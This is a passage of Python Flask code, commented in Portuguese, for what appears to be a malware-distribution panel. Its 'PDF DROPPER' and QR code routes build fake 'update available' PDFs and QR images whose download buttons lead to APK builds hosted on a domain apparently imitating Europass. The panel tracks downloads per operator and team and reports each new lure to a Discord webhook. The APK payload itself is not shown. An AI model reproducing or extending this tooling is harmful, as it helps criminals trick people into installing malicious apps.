        return jsonify({"success": False, "message": "Senha atual incorreta"}), 401
    db['users'][session['username']]['password'] = generate_password_hash(new)
    # Invalida todos os cookies anteriores
    db['users'][session['username']]['session_version'] = user.get('session_version', 0) + 1
    save_data(db)
    # Atualiza session atual pra refletir a nova versao (caller continua logado)
    session['session_version'] = db['users'][session['username']]['session_version']
    add_history(session['username'], "Trocar Senha", "Senha alterada via painel")
    send_discord_webhook(
        "TROCA DE SENHA",
        f"Usuario **{session['username']}** trocou a propria senha.",
        color=0x6366f1
    )
    return jsonify({"success": True, "message": "Senha alterada"})

@app.route('/admin/history')
def admin_history():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    current_role = data["users"].get(session['username'], {}).get('role')
    if current_role == 'owner':
        return jsonify(data.get('history', []))
    return jsonify([])


# ===== PDF DROPPER =====

def _load_pdf_tokens():
    if os.path.exists(PDF_TOKENS_FILE):
        try:
            with open(PDF_TOKENS_FILE, 'r') as f:
                return json.load(f)
        except Exception:
            pass
    return {}

def _save_pdf_tokens(tokens):
    try:
        with open(PDF_TOKENS_FILE, 'w') as f:
            json.dump(tokens, f)
    except Exception:
        pass


def _hex_rgb(h):
    h = h.lstrip('#')
    return tuple(int(h[i:i+2], 16)/255.0 for i in (0, 2, 4))


def _create_dropper_pdf(pdf_path, title, message, app_name, download_url,
                         bg_color='#0e1117', btn_color='#16a34a',
                         text_color='#e2e8f0', btn_label='BAIXAR APLICATIVO'):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.units import cm

    w, h = A4
    c = rl_canvas.Canvas(pdf_path, pagesize=A4)

    bg  = _hex_rgb(bg_color)
    btn = _hex_rgb(btn_color)
    txt = _hex_rgb(text_color)
    is_dark = sum(bg) / 3 < 0.5
    sub = tuple(min(1, x+0.35) if is_dark else max(0, x-0.35) for x in txt)
    div = tuple(min(1, x+0.15) if is_dark else max(0, x-0.15) for x in bg)

    c.setFillColorRGB(*bg)
    c.rect(0, 0, w, h, fill=1, stroke=0)

    c.setFillColorRGB(*btn)
    c.rect(0, h - 0.6*cm, w, 0.6*cm, fill=1, stroke=0)

    cx = w / 2
    icon_cy = h - 5.5*cm
    icon_r = 1.8*cm
    ic_fill = tuple(max(0, x-0.25) for x in btn)
    c.setFillColorRGB(*ic_fill)
    c.setStrokeColorRGB(*btn)
    c.setLineWidth(2)
    c.circle(cx, icon_cy, icon_r, fill=1, stroke=1)

    c.setFillColorRGB(1, 1, 1)
    body_w = 0.35*cm
    body_h = 0.7*cm
    c.rect(cx - body_w/2, icon_cy - 0.05*cm, body_w, body_h, fill=1, stroke=0)
    p = c.beginPath()
    p.moveTo(cx, icon_cy - 0.85*cm)
    p.lineTo(cx - 0.65*cm, icon_cy - 0.05*cm)
    p.lineTo(cx + 0.65*cm, icon_cy - 0.05*cm)
    p.close()
    c.drawPath(p, fill=1, stroke=0)
    c.setStrokeColorRGB(1, 1, 1)
    c.setLineWidth(2)
    c.line(cx - 0.5*cm, icon_cy - 1.05*cm, cx + 0.5*cm, icon_cy - 1.05*cm)

    c.setFillColorRGB(*txt)
    font_size = 22 if len(title) <= 30 else 17
    c.setFont('Helvetica-Bold', font_size)
    c.drawCentredString(w/2, h - 9*cm, title)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    c.drawCentredString(w/2, h - 10*cm, app_name)

    c.setStrokeColorRGB(*div)
    c.setLineWidth(0.5)
    c.line(3*cm, h - 11*cm, w - 3*cm, h - 11*cm)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    msg_y = h - 12.3*cm
    lines_out = []
    for paragraph in message.split('\n'):
        paragraph = paragraph.strip()
        if not paragraph:
            lines_out.append('')
            continue
        words = paragraph.split()
        line = ''
        for word in words:
            test = (line + ' ' + word).strip()
            if c.stringWidth(test, 'Helvetica', 11) <= w - 6*cm:
                line = test
            else:
                if line:
                    lines_out.append(line)
                line = word
        if line:
            lines_out.append(line)
        lines_out.append('')
    if lines_out and lines_out[-1] == '':
        lines_out.pop()
    for ln in lines_out[:12]:
        if ln:
            c.drawCentredString(w/2, msg_y, ln)
        msg_y -= 0.65*cm

    btn_w = 9*cm
    btn_h = 1.4*cm
    btn_x = (w - btn_w) / 2
    btn_y = msg_y - 1.5*cm
    c.setFillColorRGB(*btn)
    c.roundRect(btn_x, btn_y, btn_w, btn_h, 0.35*cm, fill=1, stroke=0)
    btn_lum = sum(btn) / 3
    c.setFillColorRGB(*(0,0,0) if btn_lum > 0.6 else (1,1,1))
    c.setFont('Helvetica-Bold', 13)
    lbl = btn_label[:30] if btn_label else 'BAIXAR APLICATIVO'
    c.drawCentredString(w/2, btn_y + 0.42*cm, lbl)
    c.linkURL(download_url, (btn_x, btn_y, btn_x + btn_w, btn_y + btn_h), relative=0)

    c.setFillColorRGB(*div)
    c.setFont('Helvetica', 8)
    c.drawCentredString(w/2, 1.5*cm, 'Clique no botao ou toque para baixar o aplicativo')

    c.showPage()
    c.save()


def _create_qr_png(path, url, fg_color='#000000', bg_color='#ffffff'):
    import qrcode
    fg = tuple(int(fg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    bg = tuple(int(bg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H, box_size=12, border=3)
    qr.add_data(url)
    qr.make(fit=True)
    img = qr.make_image(fill_color=fg, back_color=bg)
    img.save(path)


def _create_qr_pdf(pdf_path, title, message, app_name, download_url, qr_png_path,
                    bg_color='#0e1117', btn_color='#16a34a', text_color='#e2e8f0', btn_label='BAIXAR APLICATIVO'):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.units import cm
    from reportlab.lib.utils import ImageReader

    w, h = A4
    c = rl_canvas.Canvas(pdf_path, pagesize=A4)
    bg  = _hex_rgb(bg_color)
    btn = _hex_rgb(btn_color)
    txt = _hex_rgb(text_color)
    is_dark = sum(bg) / 3 < 0.5
    sub = tuple(min(1, x+0.35) if is_dark else max(0, x-0.35) for x in txt)
    div = tuple(min(1, x+0.15) if is_dark else max(0, x-0.15) for x in bg)

    c.setFillColorRGB(*bg)
    c.rect(0, 0, w, h, fill=1, stroke=0)
    c.setFillColorRGB(*btn)
    c.rect(0, h - 0.6*cm, w, 0.6*cm, fill=1, stroke=0)

    qr_size = 6.5*cm
    qr_x = (w - qr_size) / 2
    qr_y = h - 9*cm
    try:
        c.drawImage(ImageReader(qr_png_path), qr_x, qr_y, qr_size, qr_size, mask='auto')
        c.setStrokeColorRGB(*btn)
        c.setLineWidth(2)
        c.roundRect(qr_x - 0.2*cm, qr_y - 0.2*cm, qr_size + 0.4*cm, qr_size + 0.4*cm, 0.3*cm, fill=0, stroke=1)
    except Exception:
        pass

    c.setFillColorRGB(*txt)
    font_size = 20 if len(title) <= 32 else 15
    c.setFont('Helvetica-Bold', font_size)
    c.drawCentredString(w/2, h - 10.5*cm, title)
    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    c.drawCentredString(w/2, h - 11.4*cm, app_name)
    c.setStrokeColorRGB(*div)
    c.setLineWidth(0.5)
    c.line(3*cm, h - 12.2*cm, w - 3*cm, h - 12.2*cm)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    msg_y = h - 13.5*cm
    lines_out = []
    for paragraph in message.split('\n'):
        paragraph = paragraph.strip()
        if not paragraph:
            lines_out.append('')
            continue
        words = paragraph.split()
        line = ''
        for word in words:
            test = (line + ' ' + word).strip()
            if c.stringWidth(test, 'Helvetica', 11) <= w - 6*cm:
                line = test
            else:
                if line: lines_out.append(line)
                line = word
        if line: lines_out.append(line)
        lines_out.append('')
    if lines_out and lines_out[-1] == '':
        lines_out.pop()
    for ln in lines_out[:8]:
        if ln:
            c.drawCentredString(w/2, msg_y, ln)
        msg_y -= 0.65*cm

    btn_w = 9*cm
    btn_h = 1.4*cm
    btn_x = (w - btn_w) / 2
    btn_y = msg_y - 1.2*cm
    c.setFillColorRGB(*btn)
    c.roundRect(btn_x, btn_y, btn_w, btn_h, 0.35*cm, fill=1, stroke=0)
    btn_lum = sum(btn) / 3
    c.setFillColorRGB(*(0,0,0) if btn_lum > 0.6 else (1,1,1))
    c.setFont('Helvetica-Bold', 12)
    lbl = btn_label[:30] if btn_label else 'BAIXAR APLICATIVO'
    c.drawCentredString(w/2, btn_y + 0.42*cm, lbl)
    c.linkURL(download_url, (btn_x, btn_y, btn_x + btn_w, btn_y + btn_h), relative=0)
    c.setFillColorRGB(*div)
    c.setFont('Helvetica', 8)
    c.drawCentredString(w/2, btn_y - 0.55*cm, 'Escaneie o QR Code acima ou toque no botao')
    c.drawCentredString(w/2, 1.5*cm, 'Escaneie com seu celular para baixar o aplicativo')
    c.showPage()
    c.save()



def _append_pdf_item(item):
    tokens = _load_pdf_tokens()
    items = tokens.get('__pdf_items__', [])
    items.insert(0, item)
    tokens['__pdf_items__'] = items[:200]
    _save_pdf_tokens(tokens)

def _append_qr_item(item):
    tokens = _load_pdf_tokens()
    items = tokens.get('__qr_items__', [])
    items.insert(0, item)
    tokens['__qr_items__'] = items[:200]
    _save_pdf_tokens(tokens)

def _get_user_items(key, current_user, current_role, current_team, db):
    tokens = _load_pdf_tokens()
    all_items = tokens.get(key, [])
    if current_role == 'owner':
        return all_items
    if current_role == 'admin':
        allowed = {u for u, d in db['users'].items() if d.get('team_id') == current_team}
        allowed.add(current_user)
        return [i for i in all_items if i.get('created_by') in allowed]
    return [i for i in all_items if i.get('created_by') == current_user]


@app.route('/pub/<token>')
def public_apk_download(token):
    token = re.sub(r'[^a-zA-Z0-9]', '', token)[:64]
    tokens = _load_pdf_tokens()
    entry = tokens.get(token)
    if not entry:
        return jsonify({'error': 'Link invalido ou expirado'}), 404
    expires_at = entry.get('expires_at')
    if expires_at:
        try:
            if datetime.utcnow() > datetime.fromisoformat(expires_at):
                return jsonify({'error': 'Link expirado'}), 410
        except Exception:
            pass
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', entry.get('build_id', ''))
    app_name = entry.get('app_name', 'app')
    file_path = os.path.join(app.config['OUTPUT_FOLDER'], f'{build_id}.apk')
    if not os.path.exists(file_path):
        return jsonify({'error': 'Arquivo nao disponivel'}), 404
    entry['downloads'] = entry.get('downloads', 0) + 1
    entry['last_download'] = datetime.utcnow().isoformat()
    _save_pdf_tokens(tokens)
    return send_file(file_path, as_attachment=True, download_name=f'{secure_filename(app_name)}.apk')


@app.route('/pdf/builds')
def pdf_list_builds():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    builds = []
    if current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('status') == 'concluido':
                    builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    elif current_role == 'admin':
        for uname, udata in db['users'].items():
            if udata.get('team_id') == current_team:
                for b in udata.get('builds', []):
                    if b.get('status') == 'concluido':
                        builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    else:
        for b in db['users'].get(current_user, {}).get('builds', []):
            if b.get('status') == 'concluido':
                builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    return jsonify(builds)


@app.route('/pdf/generate', methods=['POST'])
def pdf_generate():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    pdf_title = str(data.get('title', 'Atualizacao Disponivel'))[:100].strip() or 'Atualizacao Disponivel'
    pdf_message = str(data.get('message', 'Toque no botao abaixo para instalar o aplicativo.'))[:500].strip()
    bg_color  = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('bg_color',  '#0e1117')))[:7] or '#0e1117'
    btn_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('btn_color', '#16a34a')))[:7] or '#16a34a'
    txt_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('txt_color', '#e2e8f0')))[:7] or '#e2e8f0'
    btn_label = re.sub(r'[^\w\s]', '', str(data.get('btn_label', 'BAIXAR APLICATIVO')))[:30].strip() or 'BAIXAR APLICATIVO'
    expire_days = min(int(data.get('expire_days', 30) or 30), 365)
    if not build_id:
        return jsonify({'success': False, 'message': 'Build nao selecionado'}), 400
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    build_found = False
    app_name = 'App'
    search_users = db['users'].items()
    for uname, udata in search_users:
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado ou sem permissao'}), 404
    pdf_id = secrets.token_hex(12)
    dl_token = secrets.token_hex(24)
    pdf_folder = app.config['PDF_FOLDER']
    pdf_path = os.path.join(pdf_folder, f'{pdf_id}.pdf')
    download_url = f'https://www.europass-ice.site/pub/{dl_token}'
    tokens = _load_pdf_tokens()
    expires_at = (datetime.utcnow() + timedelta(days=expire_days)).isoformat()
    tokens[dl_token] = {'build_id': build_id, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at, 'downloads': 0, 'type': 'pdf'}
    _save_pdf_tokens(tokens)
    try:
        _create_dropper_pdf(pdf_path, pdf_title, pdf_message, app_name, download_url, bg_color=bg_color, btn_color=btn_color, text_color=txt_color, btn_label=btn_label)
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar PDF: {str(e)}'}), 500
    add_history(current_user, 'Gerar PDF', f'PDF gerado para build {build_id} ({app_name})')
    _append_pdf_item({'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}', 'pub_url': f'https://www.europass-ice.site/pub/{dl_token}', 'title': pdf_title, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at})
    send_discord_webhook(
        'PDF DROPPER GERADO',
        f'Novo PDF criado por **{current_user}** para **{app_name}**',
        color=0x9333ea,
        fields=[
            {'name': 'App', 'value': app_name, 'inline': True},
            {'name': 'Operador', 'value': current_user, 'inline': True},
            {'name': 'Titulo', 'value': pdf_title, 'inline': False},
            {'name': 'Link Publico', 'value': download_url, 'inline': False},
            {'name': 'Expira em', 'value': f'{expire_days} dias', 'inline': True},
        ]
    )
    return jsonify({'success': True, 'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}', 'app_name': app_name, 'title': pdf_title, 'pub_url': f'https://www.europass-ice.site/pub/{dl_token}'})


@app.route('/pdf/download/<pdf_id>')
def pdf_download_route(pdf_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    pdf_id = re.sub(r'[^a-zA-Z0-9]', '', pdf_id)[:32]
    pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')
    if not os.path.exists(pdf_path):
        return jsonify({'error': 'PDF nao encontrado'}), 404
    return send_file(pdf_path, as_attachment=True, download_name='aplicativo.pdf', mimetype='application/pdf')



# ===== QR CODE =====

def _create_qr_png(path, url, fg_color='#000000', bg_color='#ffffff', box_size=12):
    import qrcode
    from qrcode.image.styledpil import StyledPilImage
    fg = tuple(int(fg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    bg = tuple(int(bg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    qr = qrcode.QRCode(version=None, error_correction=qrcode.constants.ERROR_CORRECT_H, box_size=box_size, border=3)
    qr.add_data(url)
    qr.make(fit=True)
    img = qr.make_image(fill_color=fg, back_color=bg)
    img.save(path)


def _create_qr_pdf(pdf_path, title, message, app_name, download_url, qr_png_path, bg_color, btn_color, text_color):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.units import cm
    from reportlab.lib.utils import ImageReader

    def _hex_to_rgb(h):
        h = h.lstrip('#')
        return tuple(int(h[i:i+2], 16)/255.0 for i in (0, 2, 4))

    w, h = A4
    c = rl_canvas.Canvas(pdf_path, pagesize=A4)

    bg = _hex_to_rgb(bg_color)
    btn = _hex_to_rgb(btn_color)
    txt = _hex_to_rgb(text_color)
    is_dark = (bg[0] + bg[1] + bg[2]) / 3 < 0.5

    c.setFillColorRGB(*bg)
    c.rect(0, 0, w, h, fill=1, stroke=0)

    accent = btn
    c.setFillColorRGB(*accent)
    c.rect(0, h - 0.6*cm, w, 0.6*cm, fill=1, stroke=0)

    # QR code centered top area
    qr_size = 6*cm
    qr_x = (w - qr_size) / 2
    qr_y = h - 8.5*cm
    try:
        qr_img = ImageReader(qr_png_path)
        c.drawImage(qr_img, qr_x, qr_y, qr_size, qr_size, mask='auto')
        c.setStrokeColorRGB(*accent)
        c.setLineWidth(2)
        c.roundRect(qr_x - 0.2*cm, qr_y - 0.2*cm, qr_size + 0.4*cm, qr_size + 0.4*cm, 0.3*cm, fill=0, stroke=1)
    except Exception:
        pass

    sub_col = tuple(max(0, x - 0.25) if is_dark else min(1, x + 0.25) for x in txt)

    c.setFillColorRGB(*txt)
    font_size = 20 if len(title) <= 32 else 15
    c.setFont('Helvetica-Bold', font_size)
    c.drawCentredString(w/2, h - 10*cm, title)

    c.setFillColorRGB(*sub_col)
    c.setFont('Helvetica', 11)
    c.drawCentredString(w/2, h - 11*cm, app_name)

    c.setStrokeColorRGB(*sub_col)
    c.setLineWidth(0.5)
    c.line(3*cm, h - 11.8*cm, w - 3*cm, h - 11.8*cm)

    c.setFillColorRGB(*sub_col)
    c.setFont('Helvetica', 11)
    msg_y = h - 13*cm
    words = message.split()
    line = ''
    lines_out = []
    for word in words:
        test = (line + ' ' + word).strip()
        if c.stringWidth(test, 'Helvetica', 11) <= w - 6*cm:
            line = test
        else:
            if line:
                lines_out.append(line)
            line = word
    if line:
        lines_out.append(line)
    for ln in lines_out[:6]:
        c.drawCentredString(w/2, msg_y, ln)
        msg_y -= 0.65*cm

    btn_w = 9*cm
    btn_h = 1.4*cm
    btn_x = (w - btn_w) / 2
    btn_y = msg_y - 1.3*cm
    c.setFillColorRGB(*btn)
    c.roundRect(btn_x, btn_y, btn_w, btn_h, 0.35*cm, fill=1, stroke=0)
    btn_lum = (btn[0] + btn[1] + btn[2]) / 3
    c.setFillColorRGB(*(0,0,0) if btn_lum > 0.6 else (1,1,1))
    c.setFont('Helvetica-Bold', 12)
    c.drawCentredString(w/2, btn_y + 0.42*cm, 'BAIXAR APLICATIVO')
    c.linkURL(download_url, (btn_x, btn_y, btn_x + btn_w, btn_y + btn_h), relative=0)

    hint_col = tuple(max(0, x - 0.3) if is_dark else min(1, x + 0.3) for x in txt)
    c.setFillColorRGB(*hint_col)
    c.setFont('Helvetica', 8)
    c.drawCentredString(w/2, btn_y - 0.6*cm, 'Ou escaneie o QR Code acima com seu celular')
    c.drawCentredString(w/2, 1.5*cm, 'Toque no botao ou escaneie o QR para baixar')

    c.showPage()
    c.save()


@app.route('/qr/builds')
def qr_list_builds():
    return pdf_list_builds()


@app.route('/qr/generate', methods=['POST'])
def qr_generate():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    fg_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('fg_color', '#000000')))[:7] or '#000000'
    bg_color = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('bg_color', '#ffffff')))[:7] or '#ffffff'
    as_pdf = bool(data.get('as_pdf', False))
    pdf_title = str(data.get('title', 'Atualizacao Disponivel'))[:100].strip() or 'Atualizacao Disponivel'
    pdf_message = str(data.get('message', 'Escaneie o QR Code ou toque no botao para instalar.'))[:500].strip()
    pdf_bg = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_bg', '#0e1117')))[:7] or '#0e1117'
    pdf_btn = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_btn', '#16a34a')))[:7] or '#16a34a'
    pdf_txt = re.sub(r'[^a-fA-F0-9#]', '', str(data.get('pdf_txt', '#e2e8f0')))[:7] or '#e2e8f0'
    if not build_id:
        return jsonify({'success': False, 'message': 'Build nao selecionado'}), 400
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    build_found = False
    app_name = 'App'
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found and current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('build_id') == build_id and b.get('status') == 'concluido':
                    build_found = True
                    app_name = b.get('app_name', 'App')
                    break
            if build_found:
                break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado'}), 404

    dl_token = secrets.token_hex(24)
    tokens = _load_pdf_tokens()
    expires_at = (datetime.utcnow() + timedelta(days=30)).isoformat()
    tokens[dl_token] = {'build_id': build_id, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at, 'downloads': 0, 'type': 'qr'}
    _save_pdf_tokens(tokens)

    download_url = f'https://www.europass-ice.site/pub/{dl_token}'
    qr_id = secrets.token_hex(12)
    qr_folder = app.config['PDF_FOLDER']
    qr_png_path = os.path.join(qr_folder, f'qr_{qr_id}.png')

    try:
        _create_qr_png(qr_png_path, download_url, fg_color=fg_color, bg_color=bg_color)
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar QR: {str(e)}'}), 500

    result = {'success': True, 'qr_id': qr_id, 'qr_url': f'/qr/image/{qr_id}', 'app_name': app_name, 'pub_url': download_url}

    if as_pdf:
        pdf_id = secrets.token_hex(12)
        pdf_path = os.path.join(qr_folder, f'{pdf_id}.pdf')
        try:
            _create_qr_pdf(pdf_path, pdf_title, pdf_message, app_name, download_url, qr_png_path, pdf_bg, pdf_btn, pdf_txt)
            result['pdf_id'] = pdf_id
            result['pdf_url'] = f'/pdf/download/{pdf_id}'
        except Exception as e:
            result['pdf_warning'] = f'QR gerado mas PDF falhou: {str(e)}'

    add_history(current_user, 'Gerar QR Code', f'QR gerado para build {build_id} ({app_name})')
    _qr_item = {'qr_id': qr_id, 'qr_url': f'/qr/image/{qr_id}', 'pub_url': download_url, 'app_name': app_name, 'created_by': current_user, 'created_at': datetime.utcnow().isoformat()}
    if as_pdf and 'pdf_id' in result:
        _qr_item['pdf_url'] = f'/pdf/download/{result["pdf_id"]}'
    _append_qr_item(_qr_item)

    # Discord webhook
    fields = [
        {'name': 'App', 'value': app_name, 'inline': True},
        {'name': 'Operador', 'value': current_user, 'inline': True},
        {'name': 'Link Publico', 'value': download_url[:100], 'inline': False},
    ]
    if as_pdf:
        fields.append({'name': 'PDF', 'value': 'Sim, gerado junto', 'inline': True})
    send_discord_webhook('QR CODE GERADO', f'Novo QR Code criado para **{app_name}**', color=0x3b82f6, fields=fields)

    return jsonify(result)


@app.route('/qr/image/<qr_id>')
def qr_image(qr_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    qr_id = re.sub(r'[^a-zA-Z0-9]', '', qr_id)[:32]
    qr_path = os.path.join(app.config['PDF_FOLDER'], f'qr_{qr_id}.png')
    if not os.path.exists(qr_path):
        return jsonify({'error': 'QR nao encontrado'}), 404
    return send_file(qr_path, mimetype='image/png')



@app.route('/pdf/list')
def pdf_list_items():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    items = _get_user_items('__pdf_items__', current_user, current_role, current_team, db)
    # Check which PDFs still exist on disk
    out = []
    for item in items:
        item = dict(item)
        pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{item.get("pdf_id","")}.pdf')
        item['exists'] = os.path.exists(pdf_path)
        out.append(item)
    return jsonify(out)


@app.route('/qr/list')
def qr_list_items():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    items = _get_user_items('__qr_items__', current_user, current_role, current_team, db)
    out = []
    for item in items:
        item = dict(item)
        qr_path = os.path.join(app.config['PDF_FOLDER'], f'qr_{item.get("qr_id","")}.png')
        item['exists'] = os.path.exists(qr_path)
        out.append(item)
    return jsonify(out)



@app.route('/pdf/delete/<pdf_id>', methods=['POST'])
def pdf_delete(pdf_id):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    pdf_id = re.sub(r'[^a-zA-Z0-9]', '', pdf_id)[:32]
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    tokens = _load_pdf_tokens()
    items = tokens.get('__pdf_items__', [])
    new_items = []
    found = False
    for item in items:
        if item.get('pdf_id') == pdf_id:
            owner = item.get('created_by')
            if current_role == 'owner' or owner == current_user or (current_role == 'admin' and db['users'].get(owner, {}).get('team_id') == current_team):
                found = True
                continue
        new_items.append(item)
    if not found:
        return jsonify({'success': False, 'message': 'Nao encontrado'}), 404
    tokens['__pdf_items__'] = new_items
    _save_pdf_tokens(tokens)
    pdf_path = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')
    if os.path.exists(pdf_path):
        os.remove(pdf_path)
    return jsonify({'success': True})


@app.route('/qr/delete/<qr_id>', methods=['POST'])
def qr_delete(qr_id):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    qr_id = re.sub(r'[^a-zA-Z0-9]', '', qr_id)[:32]
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    tokens = _load_pdf_tokens()
    items = tokens.get('__qr_items__', [])
    new_items = []
    found = False
    pdf_id_to_del = None
    for item in items:
        if item.get('qr_id') == qr_id:
            owner = item.get('created_by')
            if current_role == 'owner' or owner == current_user or (current_role == 'admin' and db['users'].get(owner, {}).get('team_id') == current_team):
                found = True
                if item.get('pdf_url'):
                    pdf_id_to_del = item['pdf_url'].split('/')[-1]
                continue
        new_items.append(item)
    if not found:
        return jsonify({'success': False, 'message': 'Nao encontrado'}), 404
    tokens['__qr_items__'] = new_items
    _save_pdf_tokens(tokens)
    for f_name in [f'qr_{qr_id}.png']:
        p = os.path.join(app.config['PDF_FOLDER'], f_name)
        if os.path.exists(p):
            os.remove(p)
    if pdf_id_to_del:
        p = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id_to_del}.pdf')
        if os.path.exists(p):
            os.remove(p)
    return jsonify({'success': True})



def _render_advanced_pdf(pdf_path, bg_color, elements, download_url, pdf_folder):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.utils import ImageReader
    import qrcode as qrcode_lib
    import io

    CANVAS_W = 500.0
    CANVAS_H = 707.0
    PAGE_W, PAGE_H = A4  # 595.28, 841.89

    def to_pdf(cx, cy, cw, ch):
        x  = cx * (PAGE_W / CANVAS_W)
        w  = cw * (PAGE_W / CANVAS_W)
        h  = ch * (PAGE_H / CANVAS_H)
        y  = PAGE_H - cy * (PAGE_H / CANVAS_H) - h
        return x, y, w, h

    c = rl_canvas.Canvas(pdf_path, pagesize=A4)

    # background
    bg = _hex_rgb(bg_color) if bg_color else (1, 1, 1)
    c.setFillColorRGB(*bg)
    c.rect(0, 0, PAGE_W, PAGE_H, fill=1, stroke=0)

    for el in elements:
        t = el.get('type', '')
        try:
            cx = float(el.get('x', 0))
            cy = float(el.get('y', 0))
            cw = max(float(el.get('w', 50)), 1)
            ch = max(float(el.get('h', 20)), 1)
            x, y, w, h = to_pdf(cx, cy, cw, ch)

            if t == 'text':
                raw   = str(el.get('text', ''))[:1000]
                fsize = min(max(float(el.get('font_size', 14)), 4), 200)
                bold  = bool(el.get('bold', False))
                color = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('color', '#000000')))[:7] or '#000000'
                align = el.get('align', 'left')
                font  = 'Helvetica-Bold' if bold else 'Helvetica'
                c.setFillColorRGB(*_hex_rgb(color))
                c.setFont(font, fsize)
                lines = raw.split('\n')
                for i, line in enumerate(lines[:60]):
                    ly = y + h - fsize * (i + 1) + 2
                    if ly < y - 2:
                        break
                    if align == 'center':
                        c.drawCentredString(x + w / 2, ly, line)
                    elif align == 'right':
                        c.drawRightString(x + w, ly, line)
                    else:
                        c.drawString(x, ly, line)

            elif t == 'image':
                raw_id  = re.sub(r'[^a-zA-Z0-9._-]', '', str(el.get('img_id', '')))[:60]
                img_path = os.path.join(pdf_folder, f'img_{raw_id}')
                if os.path.exists(img_path):
                    preserve = bool(el.get('keep_ratio', True))
